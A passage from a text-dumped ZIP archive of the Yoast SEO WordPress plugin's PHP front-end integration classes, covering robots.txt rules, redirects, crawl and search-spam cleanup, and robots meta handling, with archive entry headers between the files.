	/**
	 * Sets the helpers.
	 *
	 * @param Options_Helper       $options_helper       Options helper.
	 * @param Robots_Txt_Helper    $robots_txt_helper    Robots txt helper.
	 * @param Robots_Txt_Presenter $robots_txt_presenter Robots txt presenter.
	 */
	public function __construct( Options_Helper $options_helper, Robots_Txt_Helper $robots_txt_helper, Robots_Txt_Presenter $robots_txt_presenter ) {
		$this->options_helper       = $options_helper;
		$this->robots_txt_helper    = $robots_txt_helper;
		$this->robots_txt_presenter = $robots_txt_presenter;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Robots_Txt_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'robots_txt', [ $this, 'filter_robots' ], 99999 );

		if ( $this->options_helper->get( 'deny_search_crawling' ) && ! \is_multisite() ) {
			\add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_search_to_robots' ], 10, 1 );
		}
		if ( $this->options_helper->get( 'deny_wp_json_crawling' ) && ! \is_multisite() ) {
			\add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_wp_json_to_robots' ], 10, 1 );
		}
		if ( $this->options_helper->get( 'deny_adsbot_crawling' ) && ! \is_multisite() ) {
			\add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_adsbot' ], 10, 1 );
		}
	}

	/**
	 * Filters the robots.txt output.
	 *
	 * @param string $robots_txt The robots.txt output from WordPress.
	 *
	 * @return string Filtered robots.txt output.
	 */
	public function filter_robots( $robots_txt ) {
		$robots_txt = $this->remove_default_robots( $robots_txt );
		$this->maybe_add_xml_sitemap();

		/**
		 * Filter: 'wpseo_should_add_subdirectory_multisite_xml_sitemaps' - Disabling this filter removes subdirectory sites from xml sitemaps.
		 *
		 * @since 19.8
		 *
		 * @param bool $show Whether to display multisites in the xml sitemaps.
		 */
		if ( \apply_filters( 'wpseo_should_add_subdirectory_multisite_xml_sitemaps', true ) ) {
			$this->add_subdirectory_multisite_xml_sitemaps();
		}

		/**
		 * Allow registering custom robots rules to be outputted within the Yoast content block in robots.txt.
		 *
		 * @param Robots_Txt_Helper $robots_txt_helper The Robots_Txt_Helper object.
		 */
		\do_action( 'Yoast\WP\SEO\register_robots_rules', $this->robots_txt_helper );

		return \trim( $robots_txt . \PHP_EOL . $this->robots_txt_presenter->present() . \PHP_EOL );
	}

	/**
	 * Add a disallow rule for search to robots.txt.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 *
	 * @return void
	 */
	public function add_disallow_search_to_robots( Robots_Txt_Helper $robots_txt_helper ) {
		$robots_txt_helper->add_disallow( '*', '/?s=' );
		$robots_txt_helper->add_disallow( '*', '/page/*/?s=' );
		$robots_txt_helper->add_disallow( '*', '/search/' );
	}

	/**
	 * Add a disallow rule for /wp-json/ to robots.txt.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 *
	 * @return void
	 */
	public function add_disallow_wp_json_to_robots( Robots_Txt_Helper $robots_txt_helper ) {
		$robots_txt_helper->add_disallow( '*', '/wp-json/' );
		$robots_txt_helper->add_disallow( '*', '/?rest_route=' );
	}

	/**
	 * Add a disallow rule for AdsBot agents to robots.txt.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 *
	 * @return void
	 */
	public function add_disallow_adsbot( Robots_Txt_Helper $robots_txt_helper ) {
		$robots_txt_helper->add_disallow( 'AdsBot', '/' );
	}

	/**
	 * Replaces the default WordPress robots.txt output.
	 *
	 * @param string $robots_txt Input robots.txt.
	 *
	 * @return string
	 */
	protected function remove_default_robots( $robots_txt ) {
		return \preg_replace(
			'`User-agent: \*[\r\n]+Disallow: /wp-admin/[\r\n]+Allow: /wp-admin/admin-ajax\.php[\r\n]+`',
			'',
			$robots_txt
		);
	}

	/**
	 * Adds XML sitemap reference to robots.txt.
	 *
	 * @return void
	 */
	protected function maybe_add_xml_sitemap() {
		// If the XML sitemap is disabled, bail.
		if ( ! $this->options_helper->get( 'enable_xml_sitemap', false ) ) {
			return;
		}
		$this->robots_txt_helper->add_sitemap( \esc_url( WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ) ) );
	}

	/**
	 * Adds subdomain multisite' XML sitemap references to robots.txt.
	 *
	 * @return void
	 */
	protected function add_subdirectory_multisite_xml_sitemaps() {
		// If not on a multisite subdirectory, bail.
		if ( ! \is_multisite() || \is_subdomain_install() ) {
			return;
		}

		$sitemaps_enabled = $this->get_xml_sitemaps_enabled();

		foreach ( $sitemaps_enabled as $blog_id => $is_sitemap_enabled ) {
			if ( ! $is_sitemap_enabled ) {
				continue;
			}
			$this->robots_txt_helper->add_sitemap( \esc_url( \get_home_url( $blog_id, 'sitemap_index.xml' ) ) );
		}
	}

	/**
	 * Retrieves whether the XML sitemaps are enabled, keyed by blog ID.
	 *
	 * @return array
	 */
	protected function get_xml_sitemaps_enabled() {
		$is_allowed = $this->is_sitemap_allowed();
		$blog_ids   = $this->get_blog_ids();
		$is_enabled = [];
		foreach ( $blog_ids as $blog_id ) {
			$is_enabled[ $blog_id ] = $is_allowed && $this->is_sitemap_enabled_for( $blog_id );
		}

		return $is_enabled;
	}

	/**
	 * Retrieves whether the sitemap is allowed on a sub site.
	 *
	 * @return bool
	 */
	protected function is_sitemap_allowed() {
		$options = \get_network_option( null, 'wpseo_ms' );
		if ( ! $options || ! isset( $options['allow_enable_xml_sitemap'] ) ) {
			// Default is enabled.
			return true;
		}

		return (bool) $options['allow_enable_xml_sitemap'];
	}

	/**
	 * Retrieves whether the sitemap is enabled on a site.
	 *
	 * @param int $blog_id The blog ID.
	 *
	 * @return bool
	 */
	protected function is_sitemap_enabled_for( $blog_id ) {
		if ( ! $this->is_yoast_active_on( $blog_id ) ) {
			return false;
		}

		$options = \get_blog_option( $blog_id, 'wpseo' );
		if ( ! $options || ! isset( $options['enable_xml_sitemap'] ) ) {
			// Default is enabled.
			return true;
		}

		return (bool) $options['enable_xml_sitemap'];
	}

	/**
	 * Determines whether Yoast SEO is active.
	 *
	 * @param int $blog_id The blog ID.
	 *
	 * @return bool
	 */
	protected function is_yoast_active_on( $blog_id ) {
		return \in_array( 'wordpress-seo/wp-seo.php', (array) \get_blog_option( $blog_id, 'active_plugins', [] ), true ) || $this->is_yoast_active_for_network();
	}

	/**
	 * Determines whether Yoast SEO is active for the entire network.
	 *
	 * @return bool
	 */
	protected function is_yoast_active_for_network() {
		$plugins = \get_network_option( null, 'active_sitewide_plugins' );
		if ( isset( $plugins['wordpress-seo/wp-seo.php'] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Retrieves the blog IDs of public, "active" sites on the network.
	 *
	 * @return array
	 */
	protected function get_blog_ids() {
		$criteria = [
			'archived'   => 0,
			'deleted'    => 0,
			'public'     => 1,
			'spam'       => 0,
			'fields'     => 'ids',
			'network_id' => \get_current_network_id(),
		];

		return \get_sites( $criteria );
	}
}
PK       ! (      front-end/redirects.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Meta_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Redirects.
 */
class Redirects implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The meta helper.
	 *
	 * @var Meta_Helper
	 */
	protected $meta;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * The redirect helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url;

	/**
	 * Holds the WP_Query variables we should get rid of.
	 *
	 * @var string[]
	 */
	private $date_query_variables = [
		'year',
		'm',
		'monthnum',
		'day',
		'hour',
		'minute',
		'second',
	];

	/**
	 * Sets the helpers.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Options_Helper      $options      Options helper.
	 * @param Meta_Helper         $meta         Meta helper.
	 * @param Current_Page_Helper $current_page The current page helper.
	 * @param Redirect_Helper     $redirect     The redirect helper.
	 * @param Url_Helper          $url          The URL helper.
	 */
	public function __construct( Options_Helper $options, Meta_Helper $meta, Current_Page_Helper $current_page, Redirect_Helper $redirect, Url_Helper $url ) {
		$this->options      = $options;
		$this->meta         = $meta;
		$this->current_page = $current_page;
		$this->redirect     = $redirect;
		$this->url          = $url;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wp', [ $this, 'archive_redirect' ] );
		\add_action( 'wp', [ $this, 'page_redirect' ], 99 );
		\add_action( 'wp', [ $this, 'category_redirect' ] );
		\add_action( 'template_redirect', [ $this, 'attachment_redirect' ], 1 );
		\add_action( 'template_redirect', [ $this, 'disable_date_queries' ] );
	}

	/**
	 * Disable date queries, if they're disabled in Yoast SEO settings, to prevent indexing the wrong things.
	 *
	 * @return void
	 */
	public function disable_date_queries() {
		if ( $this->options->get( 'disable-date', false ) ) {
			$exploded_url                    = \explode( '?', $this->url->recreate_current_url(), 2 );
			list( $base_url, $query_string ) = \array_pad( $exploded_url, 2, '' );
			\parse_str( $query_string, $query_vars );
			foreach ( $this->date_query_variables as $variable ) {
				if ( \in_array( $variable, \array_keys( $query_vars ), true ) ) {
					$this->do_date_redirect( $query_vars, $base_url );
				}
			}
		}
	}

	/**
	 * When certain archives are disabled, this redirects those to the homepage.
	 *
	 * @return void
	 */
	public function archive_redirect() {
		if ( $this->need_archive_redirect() ) {
			$this->redirect->do_safe_redirect( \get_bloginfo( 'url' ), 301 );
		}
	}

	/**
	 * Based on the redirect meta value, this function determines whether it should redirect the current post / page.
	 *
	 * @return void
	 */
	public function page_redirect() {
		if ( ! $this->current_page->is_simple_page() ) {
			return;
		}

		$post = \get_post();
		if ( ! \is_object( $post ) ) {
			return;
		}

		$redirect = $this->meta->get_value( 'redirect', $post->ID );
		if ( $redirect === '' ) {
			return;
		}

		$this->redirect->do_safe_redirect( $redirect, 301 );
	}

	/**
	 * If the option to disable attachment URLs is checked, this performs the redirect to the attachment.
	 *
	 * @return void
	 */
	public function attachment_redirect() {
		if ( ! $this->current_page->is_attachment() ) {
			return;
		}

		if ( $this->options->get( 'disable-attachment', false ) === false ) {
			return;
		}

		$url = $this->get_attachment_url();
		if ( empty( $url ) ) {
			return;
		}

		$this->redirect->do_unsafe_redirect( $url, 301 );
	}

	/**
	 * Checks if certain archive pages are disabled to determine if a archive redirect is needed.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return bool Whether or not to redirect an archive page.
	 */
	protected function need_archive_redirect() {
		if ( $this->options->get( 'disable-date', false ) && $this->current_page->is_date_archive() ) {
			return true;
		}

		if ( $this->options->get( 'disable-author', false ) && $this->current_page->is_author_archive() ) {
			return true;
		}

		if ( $this->options->get( 'disable-post_format', false ) && $this->current_page->is_post_format_archive() ) {
			return true;
		}

		return false;
	}

	/**
	 * Retrieves the attachment url for the current page.
	 *
	 * @codeCoverageIgnore It wraps WordPress functions.
	 *
	 * @return string The attachment url.
	 */
	protected function get_attachment_url() {
		/**
		 * Allows the developer to change the target redirection URL for attachments.
		 *
		 * @since 7.5.3
		 *
		 * @param string $attachment_url The attachment URL for the queried object.
		 * @param object $queried_object The queried object.
		 */
		return \apply_filters(
			'wpseo_attachment_redirect_url',
			\wp_get_attachment_url( \get_queried_object_id() ),
			\get_queried_object()
		);
	}

	/**
	 * Redirects away query variables that shouldn't work.
	 *
	 * @param array  $query_vars The query variables in the current URL.
	 * @param string $base_url   The base URL without query string.
	 *
	 * @return void
	 */
	private function do_date_redirect( $query_vars, $base_url ) {
		foreach ( $this->date_query_variables as $variable ) {
			unset( $query_vars[ $variable ] );
		}
		$url = $base_url;
		if ( \count( $query_vars ) > 0 ) {
			$url .= '?' . \http_build_query( $query_vars );
		}

		$this->redirect->do_safe_redirect( $url, 301 );
	}

	/**
	 * Strips `cat=-1` from the URL and redirects to the resulting URL.
	 *
	 * @return void
	 */
	public function category_redirect() {
		/**
		 * Allows the developer to keep cat=-1 GET parameters
		 *
		 * @since 19.9
		 *
		 * @param bool $remove_cat_parameter Whether to remove the `cat=-1` GET parameter. Default true.
		 */
		$should_remove_parameter = \apply_filters( 'wpseo_remove_cat_parameter', true );

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved.
		if ( $should_remove_parameter && isset( $_GET['cat'] ) && $_GET['cat'] === '-1' ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved.
			unset( $_GET['cat'] );
			if ( isset( $_SERVER['REQUEST_URI'] ) ) {
				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- This is just a replace and the data is never saved.
				$_SERVER['REQUEST_URI'] = \remove_query_arg( 'cat' );
			}
			$this->redirect->do_safe_redirect( $this->url->recreate_current_url(), 301, 'Stripping cat=-1 from the URL' );
		}
	}
}
PK       ! R9    %  front-end/backwards-compatibility.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds actions that were previously called and are now deprecated.
 */
class Backwards_Compatibility implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Backwards_Compatibility constructor
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->options->get( 'opengraph' ) === true ) {
			\add_action( 'wpseo_head', [ $this, 'call_wpseo_opengraph' ], 30 );
		}
		if ( $this->options->get( 'twitter' ) === true && \apply_filters( 'wpseo_output_twitter_card', true ) !== false ) {
			\add_action( 'wpseo_head', [ $this, 'call_wpseo_twitter' ], 40 );
		}
	}

	/**
	 * Calls the old wpseo_opengraph action.
	 *
	 * @return void
	 */
	public function call_wpseo_opengraph() {
		\do_action_deprecated( 'wpseo_opengraph', [], '14.0', 'wpseo_frontend_presenters' );
	}

	/**
	 * Calls the old wpseo_twitter action.
	 *
	 * @return void
	 */
	public function call_wpseo_twitter() {
		\do_action_deprecated( 'wpseo_twitter', [], '14.0', 'wpseo_frontend_presenters' );
	}
}
PK       ! )+^  ^  !  front-end/crawl-cleanup-basic.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Crawl_Cleanup_Basic.
 */
class Crawl_Cleanup_Basic implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Crawl Cleanup Basic integration constructor.
	 *
	 * @param Options_Helper $options_helper The option helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Remove HTTP headers we don't want.
		\add_action( 'wp', [ $this, 'clean_headers' ], 0 );

		if ( $this->is_true( 'remove_shortlinks' ) ) {
			// Remove shortlinks.
			\remove_action( 'wp_head', 'wp_shortlink_wp_head' );
			\remove_action( 'template_redirect', 'wp_shortlink_header', 11 );
		}

		if ( $this->is_true( 'remove_rest_api_links' ) ) {
			// Remove REST API links.
			\remove_action( 'wp_head', 'rest_output_link_wp_head' );
			\remove_action( 'template_redirect', 'rest_output_link_header', 11 );
		}

		if ( $this->is_true( 'remove_rsd_wlw_links' ) ) {
			// Remove RSD and WLW Manifest links.
			\remove_action( 'wp_head', 'rsd_link' );
			\remove_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' );
			\remove_action( 'wp_head', 'wlwmanifest_link' );
		}

		if ( $this->is_true( 'remove_oembed_links' ) ) {
			// Remove JSON+XML oEmbed links.
			\remove_action( 'wp_head', 'wp_oembed_add_discovery_links' );
		}

		if ( $this->is_true( 'remove_generator' ) ) {
			\remove_action( 'wp_head', 'wp_generator' );
		}

		if ( $this->is_true( 'remove_emoji_scripts' ) ) {
			// Remove emoji scripts and additional stuff they cause.
			\remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
			\remove_action( 'wp_print_styles', 'print_emoji_styles' );
			\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
			\remove_action( 'admin_print_styles', 'print_emoji_styles' );
			\add_filter( 'wp_resource_hints', [ $this, 'resource_hints_plain_cleanup' ], 1 );
		}
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Removes X-Pingback and X-Powered-By headers as they're unneeded.
	 *
	 * @return void
	 */
	public function clean_headers() {
		if ( \headers_sent() ) {
			return;
		}

		if ( $this->is_true( 'remove_powered_by_header' ) ) {
			\header_remove( 'X-Powered-By' );
		}
		if ( $this->is_true( 'remove_pingback_header' ) ) {
			\header_remove( 'X-Pingback' );
		}
	}

	/**
	 * Remove the core s.w.org hint as it's only used for emoji stuff we don't use.
	 *
	 * @param array $hints The hints we're adding to.
	 *
	 * @return array
	 */
	public function resource_hints_plain_cleanup( $hints ) {
		foreach ( $hints as $key => $hint ) {
			if ( \is_array( $hint ) && isset( $hint['href'] ) ) {
				if ( \strpos( $hint['href'], '//s.w.org' ) !== false ) {
					unset( $hints[ $key ] );
				}
			}
			elseif ( \strpos( $hint, '//s.w.org' ) !== false ) {
					unset( $hints[ $key ] );
			}
		}

		return $hints;
	}

	/**
	 * Checks if the value of an option is set to true.
	 *
	 * @param string $option_name The option name.
	 *
	 * @return bool
	 */
	private function is_true( $option_name ) {
		return $this->options_helper->get( $option_name ) === true;
	}
}
PK       ! sO    #  front-end/wp-robots-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Conditionals\WP_Robots_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Robots_Presenter;

/**
 * Class WP_Robots_Integration
 *
 * @package Yoast\WP\SEO\Integrations\Front_End
 */
class WP_Robots_Integration implements Integration_Interface {

	/**
	 * The meta tags context memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	protected $context_memoizer;

	/**
	 * Sets the dependencies for this integration.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer.
	 */
	public function __construct( Meta_Tags_Context_Memoizer $context_memoizer ) {
		$this->context_memoizer = $context_memoizer;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		/**
		 * Allow control of the `wp_robots` filter by prioritizing our hook 10 less than max.
		 * Use the `wpseo_robots` filter to filter the Yoast robots output, instead of WordPress core.
		 */
		\add_filter( 'wp_robots', [ $this, 'add_robots' ], ( \PHP_INT_MAX - 10 ) );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Front_End_Conditional::class,
			WP_Robots_Conditional::class,
		];
	}

	/**
	 * Adds our robots tag value to the WordPress robots tag output.
	 *
	 * @param array $robots The current robots data.
	 *
	 * @return array The robots data.
	 */
	public function add_robots( $robots ) {
		if ( ! \is_array( $robots ) ) {
			return $this->get_robots_value();
		}

		$merged_robots   = \array_merge( $robots, $this->get_robots_value() );
		$filtered_robots = $this->enforce_robots_congruence( $merged_robots );
		$sorted_robots   = $this->sort_robots( $filtered_robots );

		// Filter all falsy-null robot values.
		return \array_filter( $sorted_robots );
	}

	/**
	 * Retrieves the robots key-value pairs.
	 *
	 * @return array The robots key-value pairs.
	 */
	protected function get_robots_value() {
		$context = $this->context_memoizer->for_current_page();

		$robots_presenter               = new Robots_Presenter();
		$robots_presenter->presentation = $context->presentation;
		return $this->format_robots( $robots_presenter->get() );
	}

	/**
	 * Formats our robots fields, to match the pattern WordPress is using.
	 *
	 * Our format: `[ 'index' => 'noindex', 'max-image-preview' => 'max-image-preview:large', ... ]`
	 * WordPress format: `[ 'noindex' => true, 'max-image-preview' => 'large', ... ]`
	 *
	 * @param array $robots Our robots value.
	 *
	 * @return array The formatted robots.
	 */
	protected function format_robots( $robots ) {
		foreach ( $robots as $key => $value ) {
			// When the entry represents for example: max-image-preview:large.
			$colon_position = \strpos( $value, ':' );
			if ( $colon_position !== false ) {
				$robots[ $key ] = \substr( $value, ( $colon_position + 1 ) );

				continue;
			}

			// When index => noindex, we want a separate noindex as entry in array.
			if ( \strpos( $value, 'no' ) === 0 ) {
				$robots[ $key ]   = false;
				$robots[ $value ] = true;

				continue;
			}

			// When the key is equal to the value, just make its value a boolean.
			if ( $key === $value ) {
				$robots[ $key ] = true;
			}
		}

		return $robots;
	}

	/**
	 * Ensures all other possible robots values are congruent with nofollow and or noindex.
	 *
	 * WordPress might add some robot values again.
	 * When the page is set to noindex we want to filter out these values.
	 *
	 * @param array $robots The robots.
	 *
	 * @return array The filtered robots.
	 */
	protected function enforce_robots_congruence( $robots ) {
		if ( ! empty( $robots['nofollow'] ) ) {
			$robots['follow'] = null;
		}
		if ( ! empty( $robots['noarchive'] ) ) {
			$robots['archive'] = null;
		}
		if ( ! empty( $robots['noimageindex'] ) ) {
			$robots['imageindex'] = null;

			// `max-image-preview` should set be to `none` when `noimageindex` is present.
			// Using `isset` rather than `! empty` here so that in the rare case of `max-image-preview`
			// being equal to an empty string due to filtering, its value would still be set to `none`.
			if ( isset( $robots['max-image-preview'] ) ) {
				$robots['max-image-preview'] = 'none';
			}
		}
		if ( ! empty( $robots['nosnippet'] ) ) {
			$robots['snippet'] = null;
		}
		if ( ! empty( $robots['noindex'] ) ) {
			$robots['index']             = null;
			$robots['imageindex']        = null;
			$robots['noimageindex']      = null;
			$robots['archive']           = null;
			$robots['noarchive']         = null;
			$robots['snippet']           = null;
			$robots['nosnippet']         = null;
			$robots['max-snippet']       = null;
			$robots['max-image-preview'] = null;
			$robots['max-video-preview'] = null;
		}

		return $robots;
	}

	/**
	 * Sorts the robots array.
	 *
	 * @param array $robots The robots array.
	 *
	 * @return array The sorted robots array.
	 */
	protected function sort_robots( $robots ) {
		\uksort(
			$robots,
			static function ( $a, $b ) {
				$order = [
					'index'             => 0,
					'noindex'           => 1,
					'follow'            => 2,
					'nofollow'          => 3,
				];
				$ai    = ( $order[ $a ] ?? 4 );
				$bi    = ( $order[ $b ] ?? 4 );

				return ( $ai - $bi );
			}
		);

		return $robots;
	}
}
PK       ! `N    $  front-end/crawl-cleanup-searches.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use WP_Query;
use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Crawl_Cleanup_Searches.
 */
class Crawl_Cleanup_Searches implements Integration_Interface {

	/**
	 * Patterns to match against to find spam.
	 *
	 * @var array
	 */
	private $patterns = [
		'/[：（）【】［］]+/u',
		'/(TALK|QQ)\:/iu',
	];

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The redirect helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect_helper;

	/**
	 * Crawl_Cleanup_Searches integration constructor.
	 *
	 * @param Options_Helper  $options_helper  The option helper.
	 * @param Redirect_Helper $redirect_helper The redirect helper.
	 */
	public function __construct( Options_Helper $options_helper, Redirect_Helper $redirect_helper ) {
		$this->options_helper  = $options_helper;
		$this->redirect_helper = $redirect_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->options_helper->get( 'search_cleanup' ) ) {
			\add_filter( 'pre_get_posts', [ $this, 'validate_search' ] );
		}
		if ( $this->options_helper->get( 'redirect_search_pretty_urls' ) && ! empty( \get_option( 'permalink_structure' ) ) ) {
			\add_action( 'template_redirect', [ $this, 'maybe_redirect_searches' ], 2 );
		}
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Check if we want to allow this search to happen.
	 *
	 * @param WP_Query $query The main query.
	 *
	 * @return WP_Query
	 */
	public function validate_search( WP_Query $query ) {
		if ( ! $query->is_search() ) {
			return $query;
		}
		// First check against emoji and patterns we might not want.
		$this->check_unwanted_patterns( $query );

		// Then limit characters if still needed.
		$this->limit_characters();

		return $query;
	}

	/**
	 * Redirect pretty search URLs to the "raw" equivalent
	 *
	 * @return void
	 */
	public function maybe_redirect_searches() {
		if ( ! \is_search() ) {
			return;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
		if ( isset( $_SERVER['REQUEST_URI'] ) && \stripos( $_SERVER['REQUEST_URI'], '/search/' ) === 0 ) {
			$args = [];

			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
			$parsed = \wp_parse_url( $_SERVER['REQUEST_URI'] );

			if ( ! empty( $parsed['query'] ) ) {
				\wp_parse_str( $parsed['query'], $args );
			}

			$args['s'] = \get_search_query();

			$proper_url = \home_url( '/' );

			if ( \intval( \get_query_var( 'paged' ) ) > 1 ) {
				$proper_url .= \sprintf( 'page/%s/', \get_query_var( 'paged' ) );
				unset( $args['paged'] );
			}

			$proper_url = \add_query_arg( \array_map( 'rawurlencode_deep', $args ), $proper_url );

			if ( ! empty( $parsed['fragment'] ) ) {
				$proper_url .= '#' . \rawurlencode( $parsed['fragment'] );
			}

			$this->redirect_away( 'We redirect pretty URLs to the raw format.', $proper_url );
		}
	}

	/**
	 * Check query against unwanted search patterns.
	 *
	 * @param WP_Query $query The main WordPress query.
	 *
	 * @return void
	 */
	private function check_unwanted_patterns( WP_Query $query ) {
		$s = \rawurldecode( $query->query_vars['s'] );
		if ( $this->options_helper->get( 'search_cleanup_emoji' ) && $this->has_emoji( $s ) ) {
			$this->redirect_away( 'We don\'t allow searches with emojis and other special characters.' );
		}

		if ( ! $this->options_helper->get( 'search_cleanup_patterns' ) ) {
			return;
		}
		foreach ( $this->patterns as $pattern ) {
			$outcome = \preg_match( $pattern, $s, $matches );
			if ( $outcome && $matches !== [] ) {
				$this->redirect_away( 'Your search matched a common spam pattern.' );
			}
		}
	}

	/**
	 * Redirect to the homepage for invalid searches.
	 *
	 * @param string $reason The reason for redirecting away.
	 * @param string $to_url The URL to redirect to.
	 *
	 * @return void
	 */
	private function redirect_away( $reason, $to_url = '' ) {
		if ( empty( $to_url ) ) {
			$to_url = \get_home_url();
		}

		$this->redirect_helper->do_safe_redirect( $to_url, 301, 'Yoast Search Filtering: ' . $reason );
	}

	/**
	 * Limits the number of characters in the search query.
	 *
	 * @return void
	 */
	private function limit_characters() {
		// We retrieve the search term unescaped because we want to count the characters properly. We make sure to escape it afterwards, if we do something with it.
		$unescaped_s = \get_search_query( false );

		// We then unslash the search term, again because we want to count the characters properly. We make sure to slash it afterwards, if we do something with it.
		$raw_s = \wp_unslash( $unescaped_s );
		if ( \mb_strlen( $raw_s, 'UTF-8' ) > $this->options_helper->get( 'search_character_limit' ) ) {
			$new_s = \mb_substr( $raw_s, 0, $this->options_helper->get( 'search_character_limit' ), 'UTF-8' );
			\set_query_var( 's', \wp_slash( \esc_attr( $new_s ) ) );
		}
	}

	/**
	 * Determines if a text string contains an emoji or not.
	 *
	 * @param string $text The text string to detect emoji in.
	 *
	 * @return bool
	 */
	private function has_emoji( $text ) {
		$emojis_regex = '/([^-\p{L}\x00-\x7F]+)/u';
		\preg_match( $emojis_regex, $text, $matches );

		return ! empty( $matches );
	}
}
PK       ! 
  
    front-end/handle-404.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;

/**
 * Handles intercepting requests.
 */
class Handle_404 implements Integration_Interface {

	/**
	 * The WP Query wrapper.
	 *
	 * @var WP_Query_Wrapper
	 */
	private $query_wrapper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'pre_handle_404', [ $this, 'handle_404' ] );
	}

